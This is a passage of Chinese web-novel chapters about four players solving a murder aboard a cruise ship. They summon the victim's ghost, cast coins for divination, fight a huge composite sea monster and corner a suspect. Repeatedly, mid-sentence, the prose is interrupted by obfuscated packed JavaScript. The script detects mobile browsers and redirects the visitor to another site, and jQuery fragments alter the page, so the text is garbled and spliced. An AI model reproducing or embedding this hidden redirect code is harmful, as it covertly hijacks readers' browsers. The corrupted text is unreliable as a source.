20:30-20:40:停电时期,游轮灯光全面熄灭,监控画面切换到低帧率的备用电源红外模糊,九层走廊里,画面持续显示912(玛蒂尔达)和914(罗莎)房门禁闭,无人出入,也未拍到任何人出现在走廊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16964148|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上。其他区域备用摄像头也未捕捉到异常移动。 镜头四,罗莎死亡,电力恢复后(约20:40后) 各个走廊恢复正常,画面中全是惊慌失措的乘客,但并未见异常人员流动。儿童区,所有孩子全部被船员保护在一起,艾米丽也同样在内,神色平静。 播放完所有时间点的监控,女船员开口道:“The footage confirms it.Emily was here all along,and Mr.Lane left Mrs.Montero''s room long before the blackout.And poor Ms. Crow never left her room.(监控证实了,艾米丽一直在这里,莱恩先生也在停电前很久就离开了蒙特罗夫人的房间,可怜的克劳女士也从未离开她的房间。)” 监控录像暂时完美地佐证了艾米丽和维克的不在场证明,并将所有嫌疑都指向了拥有动机,没有不在场证明,且房间内有凶器的玛蒂尔达。 窗外,黄昏的天色被更加浓重的乌云吞噬,海面再次掀起巨浪,猛烈地拍打着船体,预示着第二场更大的风暴即将来临,游轮的摇晃变得更加明显。 四人交换了一个眼神,知道不能再停留。 “Thank you for your assistance.Please continue to take good care of Emily.(谢谢您的协助,请继续好好照顾艾米丽。)”冬逢初道。 女船员连忙点头:“Of course.I hope you find the truth soon.(当然,希望你们早日查明真相。)” 四人离开了儿童区,沿着再次变得空旷起来的走廊,快速返回之前的休息厅。 一打开休息厅的门,就听到里面传来压抑的“呜呜”声和挣扎的动静。那名船员已经醒了,正徒劳地扭动着被绷带捆住的手脚,嘴里塞着的床单,他无法呼救,只能瞪着进来的四人,还试图去踢他们。 “安静点。”齐无尽冷冷地瞥了他一眼。 但那船员显然吓坏了,挣扎得更厉害,喉咙里发出更响亮的呜咽声。在相对安静的环境里格外吵人。 齐无尽一步上前,毫无预兆地抬手,再次劈在那船员的后颈上! “呃!”船员闷哼一声,脑袋一歪,瞬间又晕了过去。 另外三人:“……?” 向枝冥张了张嘴,半晌才道:“……哥们儿,你效率是真高。” 四人走到沙发边围坐下,齐无尽拿出那个笔记本摊开,上面记录着目前的所有线索和时间点。所有的证词和监控似乎都严丝合缝,指向一个不可能的三角——有动机的人没有机会,有机会的人没有时间,有时间和机会的人却没有动机和能力。 案件在此刻陷入了僵局,四个人暂时一点办法都没有。 178.蔚蓝海神号 初与序沉默地看着笔记本上的时间线,忽然从面板中取出了一个玻璃球,放在桌子中央。玻璃球泛着幽幽蓝光,内部仿佛有雾气在缓慢流转。 “这啥?”向枝冥问,“道具?” “‘亡音之音’,之前《亡铃》副本的奖励。可以强制进行一次通灵,与特定亡魂对话。”初与序简单解释,同时站起身,关掉了休息室内唯一的灯。 房间里立刻陷入黑暗,只剩下桌子中央那枚玻璃球散发着妖冶的、水波般的蓝光,映照着四人的面容。 【检测到特殊道具「亡音之音」启动,是否确定与“罗莎蒙特罗”的亡魂建立连接?请注意,通灵过程可能伴有强烈负面情绪冲击。】 “确定。”初与序平静回答。 玻璃球内的蓝光猛地暴涨,立刻充斥了整休息厅。光线并不刺眼,却带着一种寒意。一个半透明的人影在蓝光中凝聚,正是罗莎蒙特罗。她维持着死前的惨状,喉咙开裂,珍珠嵌眼,但此刻她的亡魂脸上充满了愤怒。 “VICK!THAT WRETCHED,SNIVELNG,GOOD-FOR-NOTHING COWARD!I''LL KILL HIM AGAIN!I''LL DRAG HIM DOWN TO HELL WITH ME!THAT FILHY,BACKSTABBING……(维克!那个卑鄙的、哭哭啼啼的、一无是处的懦夫!我要杀他一次!我要把他拖下地狱陪我!那个肮脏的、背后捅刀子的……)” 亡魂一出现就爆发出充满污言秽语的咆哮,巨大的怨念几乎化为实质性的音波冲击,震得四人耳膜生疼。初与序最烦这种吵闹,立刻抬手捂住耳朵。 “Shut up!(闭嘴!)”齐无尽忍无可忍,冷声喝道。 冬逢初也提高音量:“Mrs.Montero,calm down! Our time is limited!(蒙特罗女士,请冷静!我们时间有限!)” 亡魂的咆哮被强行打断,她似乎也耗尽了力气,魂体波动了几下,但依旧用怨毒的眼神瞪着虚空,仿佛维克就在那里。 初与序直接问道:“Who killed you?(凶手是谁?)” “IT WAS VICK!OF COURSE IT WAS THAT BASTARD!WHO ELSE WOULD DARE?!(是维克!当然是那个杂种!还有谁敢?!)” 四人奇怪地对视一眼,这和维克的不在场证明严重不符。 “Tell us everything that happened,in detail.(把当时发生的一切,详细说一遍。)”初与序命令道。 罗莎的亡魂似乎被道具束缚,不得不回答:“I was feeling ill……and put my robe on,I bent down to put on my slippers.(我觉得不舒服,待在房间!点了那只该死的猪!那贱种敲门的时候我正在洗澡!我吼着让他进来放下东西!我洗完了,出来,擦干,穿上浴袍,我蹲下去穿拖鞋。)” “And then the bloody lights went out! Pitch black! I turned around,and SLASH! That bastard cut mu throat from behing! I didn''t see a thing!(然后该死的灯就灭了!一片漆黑!我转过身,然后唰!那杂种就从后面割开了我的喉咙!我什么都没看见!)” “But it had to be him! He never left! He was hiding,waiting for the lights to go out! WAITING TO MURDER ME!(但肯定是他!他根本没走!他躲起来了,就等着熄灯!等着杀我!)” 四人一脸懵。 这家伙在说啥呢? 向枝冥忍不住打断她:“Wait,wait,wait…So you''re saying(所以你的意思是),你根本没亲眼看见凶手?You just assumed it was Vic because he delivered the food earlier?(就因为维克之前进来送过餐,你就认定是他?)” 罗莎的亡魂理直气壮地尖啸:“OF COURSE I DIDN''T SEE! IT WAS DARK! BUT WHO ELSE COULD IT BE? HE HATED ME! IT WAS HIM! I KNOW IT!(我当然没看见!那么黑!但还能有谁?他恨我!就是他!我知道!)” 四人:“……” 搞了半天,这亡魂除了提供“洗完澡蹲下穿拖鞋时被身后袭击”外,根本没有任何指认凶手的实际证据,全凭她的怨恨。 “Rest in peace.(安息吧)”初与序无奈地叹了口气,挥了挥手。亡魂发出一声不甘的尖叫,随着玻璃球蓝光的减弱而迅速消散,休息厅内重新陷入昏暗。 “不管了!”向枝冥烦躁地抓了抓头发,从他面板里摸索起来,“让道爷我来算一算,是骡子是马拉出来遛遛!” 随后,他掏出三枚看起来年代久远的铜钱,以及一个巴掌大小的龟甲。他盘腿坐下,将铜钱置于龟甲中,神色是罕见的认真,口中念念有词手指掐诀,开始虔诚地摇晃龟甲。 另外三人:“……?” 直接上玄学了是吧? 铜钱在龟甲内碰撞,片刻后,铜钱从龟甲中倾倒而出,落在铺着后地毯的地面上。 向枝冥凝神细看铜钱的正反排列和落位,手指飞快地演算着,忽然皱起眉头。 “怪了……”他奇怪道,又不信邪地再次将铜钱收起,重复了一遍流程。 “……”齐无尽面无表情地看着,冬逢初眼神里有无奈和好奇,初与序托着下巴安静等待。 第二次的结果似乎一样,向枝冥抬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16964149|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起头,脸上满是困惑和难以置信。 “怎么样?”冬逢初问。 向枝冥指着地上的铜钱,语气古怪:“卦象显示,玛蒂尔达和安娜贝尔不是凶手。她的因果线里,没有染上罗莎的血孽。” “那维克呢?”齐无尽追问。 向枝冥的表情更奇怪了,他再次确认卦象:“维克……卦象显示,他……是也不是。” “是也不是?”初与序重复,“你在玩海龟汤吗?” “去你的,什么海龟汤。”向枝冥挥挥手,继续努力解读着晦涩的卦象,“卦象很奇怪,显示他与这场杀戮有关联,沾了因果,但致命的那一击,又不是直接源于他。就像是他推了一把,或者提供了刀子,但最终动手的,不是他。” 四人面面相觑,一时间不知道该说点什么。 维克不是凶手?但他又参与了?那直接动手的是谁? 艾米丽?可她那完美的不在场证明和九岁孩童的身份,让这个想法显得如此荒谬。 “我先去开灯。”冬逢初站起身,还没来得及开灯,整艘游轮就猛地发生了前所未有的剧烈倾斜! 船底忽然传来“轰!!!”的一声,仿佛有什么庞然大物正用无比恐怖狠狠撞击着船体!凄厉的警报声瞬间响彻全船。 “怎么回事?!”向枝冥在混乱中喊道,四人立刻抓住身边能固定身体的东西,才勉强没有在剧烈晃动中摔倒。 走廊外立刻爆发出尖叫和哭喊声,恐慌如同瘟疫般急速蔓延,人们奔跑、推搡、哭喊,警报声和风暴的咆哮,仿佛末日降临。 “砰!砰!砰!” 像是巨型鞭子抽打船体的声音接连不断地从船体外侧传来,每一次撞击都让巨大的游轮摇晃。 “是礁石?”冬逢初艰难站稳,开口询问。 “不是!”齐无尽盯着阳台外,虽然一片漆黑,但偶尔闪电划过时,能看到一个巨大无比的阴影正从海面升起,重重拍打在船舷上。 向枝冥挪到昏迷的船员身边,一脚把他踹醒,同时飞快解开绑住他的绷带:“Wake up!醒醒!逃命了!” 船员一脸茫然地醒来,还没弄清楚到底发生了什么,下一秒,休息厅一侧的墙壁猛地向内爆裂开来,一只布满吸盘和斑纹的粗壮触手,狠狠砸了进来! 这只恐怖的触手就砸在五人中间,将本就不大的休息厅瞬间一分为二! 初与序和冬逢初被倒塌的家具隔在了靠近内侧的一边,齐无尽和向枝冥则被逼退到了靠近狂风暴雨的一侧,而那个船员死死抓住栏杆,勉强安全落地。 触手在他们之间疯狂地扭动拍打,摧毁着接触到的一切,彻底阻断了两边人的汇合之路。 “阿序!”冬逢初试图去初与序身边,但又被触手的挥舞逼退。 “别过来!”初与序急声制止,同时险险地避开砸落的吊灯。 另一边,向枝冥躲闪着碎玻璃和触手上,骂道:“我操!这副本BOSS武力值加强了三倍,这怎么打?!” 又一只更加粗壮的恐怖触手如同天罚之鞭,猛地劈裂天花板砸落下来! 179.蔚蓝海神号 休息厅彻底被摧毁,根本不容四人再有片刻犹豫或汇合的可能。 “分头走,甲板见!”齐无尽厉声喝道,同时一把拽出还想试图跨过触手的向枝冥,猛地向另一个方向的出口退去。 对面,冬逢初和初与序两人毫不犹豫地转身,顶着不断砸落的碎块和疯狂摇晃的地面,冲向与齐无尽他们相反方向的走廊。 走廊里一片狼藉,灯光忽明忽灭,惊恐的人群像无头苍蝇般哭喊着奔跑。两人逆着人流,艰难地朝着记忆中儿童区的方向移动。 又是一阵激烈的摇晃,整艘船都仿佛要被撕裂,两人伸手扶住墙壁才勉强站稳。 “这边!”初与序指着一条相对通畅的岔路。 他们刚冲进这条走廊,就看到前方色彩明亮的熟悉的儿童区大门。然而,大门连同旁边的墙壁,已经被一只横扫而过的触手劈开了一道巨大的裂口!狂风暴雨正从破口处疯狂灌入! 儿童区内早已空无一人,桌椅玩具散落一地,被雨水和海水浸透。显然,女船员和其他孩子已经在第一时间被疏散或逃走了。 就在这片狼藉之中,初与序一眼看到了角落的小桌子。桌子上散落着艾米丽之前一直在画的画册。 她立刻冲进一片狼藉的儿童区,冒着风雨俯身捡起散落在地上的画纸。 画纸上画着狰狞的深海怪物。它们挥舞着触手,张开血盆大口。而更多的画面,则是一个个流血的人,他们的面容痛苦扭曲,有的被触手缠绕拖入深渊,有的眼睛被挖空替换成了珍珠或贝壳,有的嘴里塞满了鱼钩。而画面的背景是狂暴的海洋和巨大的漩涡。 这些画,简直就是罗莎死亡现场的预演,甚至更加疯狂! 没等初与序细想,头顶再次传来撕裂声。 她立刻抬头看去,上层甲板被一只巨大的触手穿透,狠狠砸向他们所在的儿童区! 初与序立刻向一边扑倒,才堪堪躲过。 冬逢初赶过来,飞快从腰间拔出冰蓝长剑。同时,初与序也拔出冰蓝短刀,两人试图砍向再次袭来的触手。 刀刃重重砍在湿滑坚韧的触手上,竟迸发出硬邦邦的声响,只留下两道浅白色的划痕。这根本无法造成有效伤害,反而激怒了这恐怖的生物,使其更加疯狂地拍打扭曲! “不行!在船体内根本施展不开,也看不到它的本体!”冬逢初格开一次抽击,手臂被震得发麻,急促地说道。 巨大的触手在相当狭窄的空间里肆虐,让他们连站稳都困难,更别说有效攻击了。继续缠斗下去,只会被拍成肉泥,到时候地府见一起投胎得了。 “走,去甲板上!”初与序当机立断,两人立刻收回武器。 他们不再试图对抗这超出常理的怪物,开始闪避奔跑。凭借着高超的身手,他们在不断崩塌,的通道内闪转腾挪,避开一次次致命的拍击,朝着上层甲板的方向跑去。 而齐无尽和向枝冥这边,他们在另一侧的通道内夺命狂奔,这里也迅速被恐怖的触手封锁。向枝冥猛地推开一扇卡死的防火门,冲上了剧烈摇晃的顶层甲板。 甲板上更是如同地狱,狂风暴雨几乎让人睁不开眼,浓雾和浪花使得周围一片混沌,只能勉强看到身边几米内同伴模糊的身影,除此之外便是无尽的黑暗和咆哮。 齐无尽率先跃上一个集装箱顶部,这里相对开阔,也能暂时避开甲板上四处冲撞的人群。 向枝冥紧随其后,抹去脸上的雨水:“妈的,这鬼东西到底有多大?!” 话音未落,齐无尽立刻停住脚步。尽管面前雾气浓重,但他隐约就看到左侧迷雾中,一道黑影正朝着他们所在的集装箱横扫而来。 根本来不及多想,齐无尽飞快向右侧集装箱边缘猛扑下去,险之又险地避开了触手的正面撞击。 接着他手腕一抖,一张锋利的扑克牌射出,精准地钉在了向枝冥身后一个集装箱子上,发出“叮叮当当”一连串清脆的响声! 这突如其来的声音格外刺耳,立刻吸引了那根刚刚扫空的触手的注意! “我操?!”向枝冥根本没反应过来,只觉得一股恶风从齐无尽刚才躲避的方向袭来,他下意识想躲,却已经晚了。 那根巨大的触手猛地改变了轨迹,重重拍在了向枝冥所站的位置。 集装箱顶盖立刻凹陷破裂!向枝冥只来得及骂出半句“齐无尽你他妈……”,整个人就拦腰被拍飞了出去! 幸好他反应极快,在被拍编的上一秒强行扭转身体,卸去部分力道,没被直接拍进下面咆哮的大海,而是砸向了下一层甲板的一堆杂物之中,被废墟困住,难以动弹。 “咳……齐无尽!我日你大爷!阴老子!”向枝冥在废墟中咳出一口血沫,气得破口大骂,声音在风雨中都有些变调。 集装箱上,暂时安全的齐无尽面无表情地听着下面的骂声,冷漠地扫视着周围的浓雾,确认那根触手暂时被其他动静吸引离开后,他才松了口气。 他猛地从集装箱上跳下,精准落在向枝冥被困的不远处。随后,他再次甩出几张扑克牌,击打在更远处一个救生圈上,发出噪音,将附近另一只蠢蠢欲动的触须吸引开。 然后,齐无尽才迅速靠近,向被困在钢筋下的向枝冥伸出手。 “手。”他冷冰冰道。 向枝冥骂归骂,求生欲还是极强的,立刻抓住齐无尽的手。齐无尽用力一拽,同时脚下踢开一根压住向枝冥腿的横梁,将他从废墟里拉了出来。 两人踉跄着退到一处相对坚固的掩体后,暂时脱离了危险。 向枝冥揉着剧痛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16965077|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的肩膀和胸口,龇牙咧嘴地瞪着齐无尽:“你他妈刚才是不是故意的?!我就知道跟你在同一个副本没好事!” 齐无尽只是冷冷地瞥了他一眼,没有回答。 就在两人刚刚躲藏好时,甲板另一侧的入口,初与序和冬逢初也在狂风暴雨中冲了过来。 此时的甲板上仍然几乎伸手不见五指。两人显然没有发现躲在集装箱阴影后的齐无尽和向枝冥,直奔向剧烈摇晃的甲板边缘,似乎想冒着被卷走的危险,看清海面上袭击游轮的海怪真容。 “这两干啥呢?!”向枝冥在掩体后看得一脸懵,“他们不要命了?!” 就在初与序和冬逢初经过他们藏身的集装箱拐角,快要踏入前方毫无遮拦的危险区域时。 两只手同时从阴影中迅捷无比地伸出! 齐无尽一把拽住离他更近的初与序的手腕,而向枝冥则扑向冬逢初,将他们猛地拉向自己所在的掩体后方。 两人猝不及防,被这股巨大的力量猛地一拉,硬生生被拖进了集装箱之间的狭窄缝隙里。 四人滚作一团,挤在了相对安全的狭小夹角里。 “你们?!”初与序稳住身形,惊讶地看向本该在另一边的齐无尽和向枝冥,尤其是向枝冥看起来还受了伤。 向枝冥龇牙咧嘴地揉了揉还在疼的胸口,没好气地说:“我滴乖乖,祖宗诶,能不能看看环境再冲?那玩意儿是能凑近了看的吗?” 冬逢初道:“我们想确认一下。” “确认个屁,先活下来再说吧。”向枝冥挥挥手。 初与序压低声音,将刚才在儿童区的发现告诉了另外三人:“艾米丽的画全是深海怪物和流血的人,比罗莎的死状更详细。” 三人闻言,脸色凝重。结合之前的所有线索,所有的疑点似乎都聚焦到了那个看似最不可能的小女孩身上。 “……所以,真正的凶手和主导者,是艾米丽?”向枝冥难以置信道。 “但证据呢?”冬逢初皱起眉,“监控、时间线、人证。所有物理证据都指向别人。” 齐无尽淡淡道:“如果信仰和传说为真,那她需要的可能不是物理证据。”他顿了顿,又道,“但这不算灵异类副本,谋杀案本身,大概率不是海怪用非物理手段杀死罗莎的。” 一个几岁的小女孩,如何完成这一切?又如何驱动这恐怖的海怪? 就在他们思考如何找到实证,而陷入沉默时,说曹操曹操到,一个穿着白色连衣裙的小身影,竟在此刻摇摇晃晃地走上了狂风暴雨的甲板。 是艾米丽! 她完全无视了周围的末日景象,径直朝着甲板边缘走去,那里正是初与序和冬逢初刚才打算冲过去的地方。 四人立刻闭上嘴,偷偷观察着她。 180.蔚蓝海神号 只见艾米丽停在最危险的栏杆旁,狂风吹得她的裙摆和金发疯狂舞动,仿佛下一秒就要被卷走。她却抬起头,面对着漆黑一片,只有巨浪咆哮的大海,张开了双臂,仿佛在拥抱着什么。 接着,她张开嘴,对着前方的大海喃喃自语。 风声太大,听不真切,四人集中全部注意力,勉强捕捉到了一些破碎的,夹杂在风暴中的词语: “…Mother... you came... you heard me...the pearls... are they enough?...(…母亲…您来了…您听到我了…珍珠…够了吗…)” “...take me home... please..,. this place... hurts the ritual not finished... need more...(…带我回家…求您了…这里好痛苦…仪式还没完…还需要...)” “Mother...e for me...don''t leave me alone... like her...(母亲…来接我…别留下我…一个人…像她一样…)” 她的声音时而充满渴望,时而带着哭腔,时而又变得异常空灵,像是在与某个看不见的存在对话。 冬逢初犹豫道:“…艾米丽在和格格莉娅沟通吗?” 向枝冥倒吸一口凉气,用气音道:“我靠,来真的啊?她生母是格格莉娅?” “不。”初与序立刻否定,“她口中的‘Mother’,指的应该不是她的生母,而是她所呼唤信仰的格格莉娅。而她提到的‘her’、‘like her’,指的才是她那个失踪的亲生母亲。” “她的生母,很可能就是格格莉娅的信徒,甚至本身就是某种意义上的‘回归者’。而艾米丽继承了这种扭曲的信仰,甚至可能认为杀死罗莎,完成仪式,就能让所谓的‘深海母亲’也来接她‘回家’,与她真正的生母‘团聚’。” 艾米丽的话还在继续:“The eyes... Mother says... they need to see the truth...(眼睛…母亲说…它们需要看见真相…)” 她说着,缓缓转过头,那双冰蓝色的眼睛,穿透了风雨和浓雾,精准地望向了四人藏身的方向。嘴角勾起了一抹诡异悲伤的微笑。 四人愣了一下,随即立刻从掩体后站起身,想要冲过去靠近艾米丽。 然而,就在他们起身的下一秒,一只触手像是早已等候多时,从天而降,狠狠拍击在他们与艾米丽之间的甲板上! 坚固的甲板被砸得断裂,木屑飞溅。四人立刻跃起,朝不同方向扑倒闪避。等他们稳住身形,再次抬头望去时。 艾米丽刚才所站的位置已经空无一人,只有断裂的栏杆和空荡荡的暴雨狂风。 她就像凭空消失了一样。 与此同时,海上的浓雾开始以肉眼可见的速度迅速散去。一个庞大的黑色轮廓,在逐渐清晰的雨幕和浪涛中缓缓浮现,占据了几乎整个船舷外的视野。 齐无尽立刻打开手电筒,对准那巨大的黑影。 “你手电筒又是他妈从哪里拿出来的?!”向枝冥被这一连串意外弄得烦死人。 光柱刺破黑暗,照亮了那怪物的真实面目。 那是一个庞大到难以想象的复合体怪物,由无数腐烂的鲸鱼、深海怪鱼、巨型章鱼触手、人类骸骨、破碎船木板,以及大量海藻和发光水母强行合成。 它像是一座垃圾山,又像是无数海洋死物和沉船怨念的聚合体,充满死亡与怨念。那些扭曲的肢体和骸骨在其中无意识地蠕动着。 它的一只“手臂”,就是之前拍击他们的那根,正是由多条巨大的章鱼触手和一条腐烂鲸尾纠缠而成。 四人被这远超想象的恐怖景象惊得一时失语,这完全亵渎生命常理。 向枝冥干呕了一下:“我操,这他妈是什么鬼东西?!”他点开面板看了一眼个人信息,“老子精神值都从100下降到78了!” 那海怪似乎被齐无尽的手电光激怒,或者单纯地想要毁灭甲板上的活物,它那庞大的身躯猛地一颤。 紧接着,它身上的那些纠缠的触手,骸骨,以及堆积如山的腐烂物猛地挥动起来,像一个巨大的投石机,开始卷起各种东西,朝着四人所在的甲板区域猛砸过来! 活蹦乱跳但已经开始腐烂的海鱼,不大不小的龙虾和奇形怪状的深海虾,坚硬的贝壳,还有零星夹杂在其中的珍珠。 但更多的是它自身的东西,断裂的触手,黏附着腐肉的鱼骨,缠绕着海藻的人类颅骨,破碎的木板…… 这些乱七八糟的东西铺天盖地地砸落,威力不容小觑。一条巨大的冻鱼能砸得人骨折,坚硬的贝壳和骨头更能轻易将人砸成肉泥。 初与序立刻向旁边躲去,一块巨大的船板擦着她头发飞过,重重嵌入他们身后的舱壁。 向枝冥一个翻滚,勉强躲开了一堆劈头盖脸砸下来的腐烂海藻,和里面包裹的不知名鱼类内脏,恶心得他又差点吐出来。 甲板在疯狂摇晃,四人被迫分成两组,艰难地维持在倾斜的甲板两侧,保持平衡。 就在向枝冥用一张爆炸符精准炸开一只砸向他面门的腐烂鲫鱼时,那庞大的海怪聚合体似乎被彻底激怒,发出一阵地动山摇的嗡鸣。 数条最为粗壮的恐怖触须猛地从海底探来,以惊人的速度直直伸向左侧甲板的两人! 齐无尽立刻后退跃开,同时射出扑克牌,试图切断袭来的触须。但触须数量太多,力量太大,一张扑克牌深深嵌入触须,却只是让它顿了顿。 只听“嗖!”一声,一条触须猛地缠住了齐无尽的腰腹,恐怖的巨力勒得他使不上力,手中的扑克牌散落一地。 另外三人试图过去救援,但甲板突然倾斜,将他们逼退。 那触须缠住齐无尽后,飞快将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16965078|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他高高举起,悬在狂暴的海面上!风雨扑打在他略显苍白的脸上。 下一秒,触须没有丝毫停顿,带着万钧之力,狠狠将他砸向下方的墨黑色大海! 齐无尽的身影立刻被黑暗的怒涛吞噬,消失得无影无踪! “哈!”向枝冥在甲板上看到这一幕,下意识幸灾乐祸地嗤笑一声,“让你丫刚才阴我!报应!” 但他很快闭上嘴,几十秒后,眼前的海面上依旧只留下翻滚的泡沫,哪里还有齐无尽的影子? 向枝冥躲开另一只袭来的触手,向甲板前方走了几步,看着平静的海面,张大嘴:“操?齐无尽?真挂了?这是海诶,会淹死人的。” 海面陷入了诡异的平静,只有雨点落下激起的涟漪。甲板上初与序和冬逢初停下脚步,看向下方。 初与序皱起眉:“怎么……” 话音未落,“哗啦——!!”一声。 那一小片海面突然炸开浪花,一道白色身影破浪而出,带起漫天水花!正是齐无尽! 他浑身湿透,红发在黑暗中格外显眼,脸色苍白,眼神锐利,没有丝毫慌乱。 就在他跃出水面的最高点,他双手猛地一抬,几十张扑克牌出现在他手指间。 扑克牌如同被枪弓弩机射出,精准地射向海怪由残骸拼接成的躯体的连接处。扑克牌深深地钉入那些弱点,让海怪的动作一滞,发出痛苦的嘶鸣! 甲板上的三人趁机抓住这短暂的机会。 向枝冥取出符纸,隔空画符。接着手腕发力,符纸直直飞出,精准贴在被扑克牌钉住的区域,进一步扩大伤口。 同时,初与序和冬逢初同时将手中的短刀和长剑掷出。双生武器在风雨中融合成一体,化作一道冰蓝色流光,带着刺骨的寒意,刺入了海怪躯体上最大的珍珠中! 利器入肉,海怪终于发出了前所未有的咆哮,庞大的身躯剧烈抽搐起来。 齐无尽在空中调整姿势,脚下踩在一块飞起的碎木板上借力,一个漂亮的后空翻,稳稳地落回甲板上,正好站在目瞪口呆的向枝冥身边。 向枝冥张张嘴还想说话,一整块鱼骨又被海怪扔来。他急忙躲开,骂骂咧咧道:“这玩意儿力气也太大了,要是意哥在就好了,直接用海怪自己的重量压低它自己。” 齐无尽闻言,忽然想到了什么:“他之前传输了一点重力操控的技能给我,以防万一。” “???”向枝冥差点一脚滑倒,“啥玩意儿?!他啥时候给你的?” 齐无尽没理会身边三人的震惊,缓缓深吸一口气,像是在感知周围无形的力场。他缓缓抬起双手,手指尖带着细微的空间扭曲。 紧接着,他双手向上一抬。 一股无形的力场以他为中心扩散,散落在甲板上的几块较大的厚重木板和一块舱门,立刻脱离重力的束缚,晃晃悠悠地悬浮了起来,稳定在了离海面数米高的空中。 “上去。”齐无尽言简意赅,自己率先跃上了一块悬浮的木板。 182.蔚蓝海神号 已经是第三日黎明,但天空压抑,灰蓝色的,风暴并未停歇,狂风雨水疯狂抽打着舷窗的玻璃。四人简单商议后分头行动:齐无尽和向枝冥前去寻找艾米丽或更直接的证据;初与序和冬逢初则再次来到了服务生休息室。 隔着门上的小窗,可以看到维克 莱恩独自一人坐在里面,双手捂着脸,将自己蜷缩在角落里,完全沉浸在自己的心事中。 初与序给冬逢初使了个眼色,冬逢初会意,转身离开。初与序则抬手敲了敲门,随后推门而入。 “Victor? Mind if I have another word with you?(维克?介意我再和你聊几句吗?)”初与序语气平和,带着一丝淡淡的微笑。 维克被吓了一跳,抬起头,勉强挤出笑容:“O、of course,miss.What eles do you need?(当、当然,小姐。您还需要问什么?)” 初与序没有直接质问,她慢慢坐到维克对面的沙发上:“Just following up on a few details……unusual about its weight?(只是跟进一些细节。比如,当你把烤猪送到蒙特罗夫人房间时,你有没有注意到它的重量,有什么不寻常?)” “The weight?(重量?)”维克紧张道,“No,it felt normal... for a whole pig...(没有,感觉很正常…对于一整只猪来说…)” “Really?”初与序表情不变,“Because upon inspection,that pig seemed rather... special,Its belly wasn''t exactly filled with pork.(因为我们检查时发现,那只猪好像有点…特别。它的肚子里装的似乎不完全是猪肉。)” 维克的脸色唰地白了:“I... I don''t know what you mean... I just delivered it...(我…我不知道您在说什么…我只是送货的…)” “Just delivered it?(只是送货?)”初与序道,“Then how did Emily……as if nothing happened?(那艾米丽怎么会知道801房间的空调管道?她怎么能把时间掐的那么准,正好利用停电?她事后怎么能那么平静地回到儿童区,好像什么都没发生?)” 每个问题都像重锤,敲得维克冷汗直冒,眼神狂乱:“I... I don''t know... Leave me alone!(我…我不知道…别问我了!)” “Victor,”初与序的声音冷了下来,“Do you think if Emily is caught……her perfect alibi?(你觉得如果艾米丽一个人被抓,她会承担所有责任,还是会指认那个帮她运送“货物”,帮她制造完美不在场证明的人?)” “No!It wasn''t like that!(不!不是那样的!)”维克猛地站起身,彻底崩溃!他抓起身边的咖啡壶,用力砸向初与序!“You forced me!(是你们逼我的!)” 初与序敏捷地侧身躲开,而维克趁着这机会,猛地拉开后门就想夺路而逃! 他甚至没看清门外的情况,一只脚刚迈出去,身体急着转向通道一侧。 他结结实实地撞在一堵“墙”上。 维克踉跄着抬头,猛地睁大眼。这根本不是墙,是不知何时早已悄无声息守在后门外的冬逢初。 冬逢初身高一米八九,肩宽腿长,仅仅是站在那里,就几乎堵死了整条路。他微微垂眸,冰冷的目光压在维克身上,平日里温和的气质荡然无存,只剩下凌冽的压迫感。 “Hi.”冬逢初微微一笑,“Going somewhere,Mr.Lane?(想去哪儿,莱恩先生?)” “I-I-Let me through!(我-我-让我过去!)”维克吓得魂飞魄散,下意识就想用蛮力推开他挤过去。 “I suggest you step back inside,sir.(我建议你退回房间里,先生。)”冬逢初道。 在维克身后,初与序已经将他刚才扔过来的咖啡壶捡起,轻轻放回桌上,抱着胳膊好整以暇地看向门口。 维克彻底绝望了,前路被冬逢初完全堵死,后方又是初与序。他颤抖着后退,重新跌回休息室内。 冬逢初迈步走进房间,反手咔哒一声关上的门,并顺手锁上,不大的休息室立刻变成了审讯间。两人一前一后,将面如死灰瑟瑟发抖的维克堵在了中间。 “Now,”初与序道,“Let''s try this again.The truth.All of 